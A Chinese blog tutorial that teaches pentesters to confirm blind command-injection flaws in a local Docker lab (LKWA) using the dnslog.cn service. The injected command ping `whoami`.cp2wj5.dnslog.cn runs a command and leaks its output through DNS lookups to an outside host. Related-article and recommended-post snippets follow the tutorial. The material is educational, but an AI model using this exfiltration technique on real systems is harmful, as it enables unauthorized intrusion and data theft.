通过DNSLOG回显验证漏洞
通过DNSLOG回显验证漏洞
前言
实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可结合DNSlog平台进行测试,本文使用的DNSlog平台链接如下:http://dnslog.cn/
原理
DNSlog检测原理在此就不多赘述了,网上相关资料铺天盖地,此处引用一张FREEBUF的图用以说明,此图现在看不懂没关系,当做完实验后再返回查看本图思维就会很清晰了。
环境搭建
1. 安装Docker
接下来直接搭建靶场,进入实验环境,本实验使用Docker搭建漏洞环境,操作系统是windows 10,Docker Desktop提供了较为完善的图形化操作界面,且兼容性随着版本更新目前已经与linux下运行的Docker无区别,安装方式见官网,安装操作较为简单,无脑下一步即可,安装完成后需要重启,接着按照说明一步步安装其他必备环境,这里就不再细说了。
2.拉取镜像
打开CMD/PowerShell运行以下命令:
docker pull ge592555078/lkwa
从仓库拉取镜像接着打开Docker Desktop按照下图操作运行刚才拉取的环境,并将80端口映射到本地的81端口。
// 或者在命令行中直接输入docker run -d -p 81:80 ge592555078/lkwa
此时访问
http://localhost:81/
应当出现apache的默认页面,证明环境搭建完成:
漏洞复现
由于主要学习dnslog的使用,我们就用环境中命令执行模块复现。
- 访问
http://localhost:81/index.php
此为漏洞环境的主页 - 左侧选择
Bind RCE
命令注入环境 - 此时访问dnslog平台:
http://dnslog.cn/
点击页面上Get SubDomain
生成专属子域名
回到漏洞环境,在右侧命令执行输入框中输入如下命令之后点击
submit
按钮提交执行。(whoami后应该衔接刚才生成的对应子域名)ping `whoami`.cp2wj5.dnslog.cn
再返回DNSlog平台,点击刷新解析记录按钮,可以发现whoami的执行结果已经拼接成四级域名了:
至此为止试验结束。
分析总结
存在无回显漏洞的主机访问DNSlog平台就会留下DNS解析记录,可以通过DNS解析记录查看最终的执行结果,如示例中的语句:
ping `whoami`.cp2wj5.dnslog.cn
此语句实际上是:
ping www-data.yafjqc.dnslog.cn
包围着whoami
的符号是反单引号,是shift
+~
组合打出来的符号,表示执行命令的意思,那么最终ping
的结果就是ping whoami执行后的主机名.随机三级域名.dnslog.cn
,解析的时候一层一层的迭代解析,最终指向dnslog.cn
服务器上你的专属三级域名,并附带上执行结果(四级域名),那么此时看dnslog服务器的DNS解析记录即可查看whoami的执行结果,如果对DNS协议不清楚此时应先去学习DNS解析原理,不然此篇文章学习起来较为吃力。
通过DNSLOG回显验证漏洞的更多相关文章
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
作者:Armyzer0 Weblogic(CVE-2017-10271) 漏洞出来以后又是一波血雨腥风,正好我昨天测试的时候发现了一个存在这个漏洞的weblogic,但是他不回显咋办呢!让他返回执行结 ...
- 巧用DNSlog实现无回显注入
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入.具体原理如下 ...
- 【渗透测试】如何利用burpsuite测试无回显漏洞
前面的文章讲了在windows和linux上的不同的无文件渗透测试的方法,那么这篇文章给大家讲解如何在漏洞没有回显的情况下,利用burpsuite自带插件进行测试的方式. 首先我们稍微提一下有哪些无回 ...
- 巧用DNSlog实现无回显注入【转载】
原作者:afanti 原出处:https://www.cnblogs.com/afanti/p/8047530.html 0x00 简介 测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行 ...
- Java反序列化漏洞执行命令回显实现及Exploit下载
原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...
- EasyUI加zTree使用解析 easyui修改操作的表单回显方法 验证框提交表单前验证 datagrid的load方法
带参提交一次查询,从服务器加载新数据.这是一个神奇的方法 $('#dg').datagrid('load',{ code: '01', name: 'name01' }); easyui修改操作的回显 ...
- DVWA中SQL回显注入
一.SQL注入简介 1.1 SQL语句就是操作数据库的语句,SQL注入就是通过web程序在数据库里执行任意SQL语句. SQL 注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问和修改数据, ...
- SpringMVC框架下数据的增删改查,数据类型转换,数据格式化,数据校验,错误输入的消息回显
在eclipse中javaEE环境下: 这儿并没有连接数据库,而是将数据存放在map集合中: 将各种架包导入lib下... web.xml文件配置为 <?xml version="1. ...
- JSP页面批量选择&;全选操作&;选择回显
效果如下: js验证部分: 页面body部分: 附:控制器Controller中验证批量选择条件回显:
- 一脸懵逼学习Struts数据校验以及数据回显,模型驱动,防止表单重复提交的应用。
1:Struts2表单数据校验: (1)前台校验,也称之为客户端校验,主要是通过Javascript编程的方式进行数据的验证. (2)后台校验,也称之为服务器校验,这里指的是使用Struts2通过xm ...
随机推荐
- Unity C#最佳实践(上)
本文为<effective c#>的读书笔记,此书类似于大名鼎鼎的<effective c++>,是入门后提高水平的进阶读物,此书提出了50个改进c#代码的原则,但是由于主要针 ...
- Leetcode 190 Reverse Bits 位运算
反转二进制 class Solution { public: uint32_t reverseBits(uint32_t n) { uint32_t ans = ; ; i<; ++i,n &g ...
- 依赖注入Bean属性
一.Bean属性依赖注入 对于类成员变量,注入方式有三种 •构造函数注入 •属性setter方法注入 •接口注入 Spring支持前两种 1.构造函数 属性注入 使用构造方法注入,在Spring配置文 ...
- Zclip复制页面内容到剪贴板兼容各浏览器
Zclip:复制页面内容到剪贴板兼容各浏览器 WEB开发中,要让用户复制页面中的一段代码.URL地址等信息,为了避免用户拖动鼠标再进行右键复制操作而可能出现的差错,我们可以直接在页面中放置一个复制按钮 ...
- Ubuntu 下使用Remmina Remote Desktop client 连接windows server输入法的问题
Ubuntu 自带的Remmina Remote Desktop 用来连接windows,vnc,ssh等非常方便好用, 但我在连接windows 2008 r2 server时遇到一个问题: ...
- 关于php的两个符号@和$
在写代码的时候,碰到了在函数和变量前家 @和$的的问题,于是就借这个机会,学习下php的传值和传引用这两种方式 首先 @ 运算符只对表达式有效.对新手来说一个简单的规则就是:如果能从某处得到值,就能在 ...
- C#制作简易屏保(转)
C#制作简易屏保[原创] 原始网址: http://www.cnblogs.com/drizzlecrj/archive/2006/10/06/522182.html 2006-10-06 16:25 ...
- CC 3-Palindromes(manacher)
传送门:3-Palindromes 题意:求为回文串且能整除3且不前导0的子串个数. 分析:由 manacher算法O(N)可算出以i为坐标的最长为p[i]回文子串,且Si-k,Si-k+1..... ...
- Windows服务、批处理项目实战
一周一话题之三(Windows服务.批处理项目实战) -->目录导航 一. Windows服务 1. windows service介绍 2. 使用步骤 3. 项目实例--数据上传下载服务 ...
- 浅入深出之Java集合框架(上)
Java中的集合框架(上) 由于Java中的集合框架的内容比较多,在这里分为三个部分介绍Java的集合框架,内容是从浅到深,如果已经有java基础的小伙伴可以直接跳到<浅入深出之Java集合框架 ...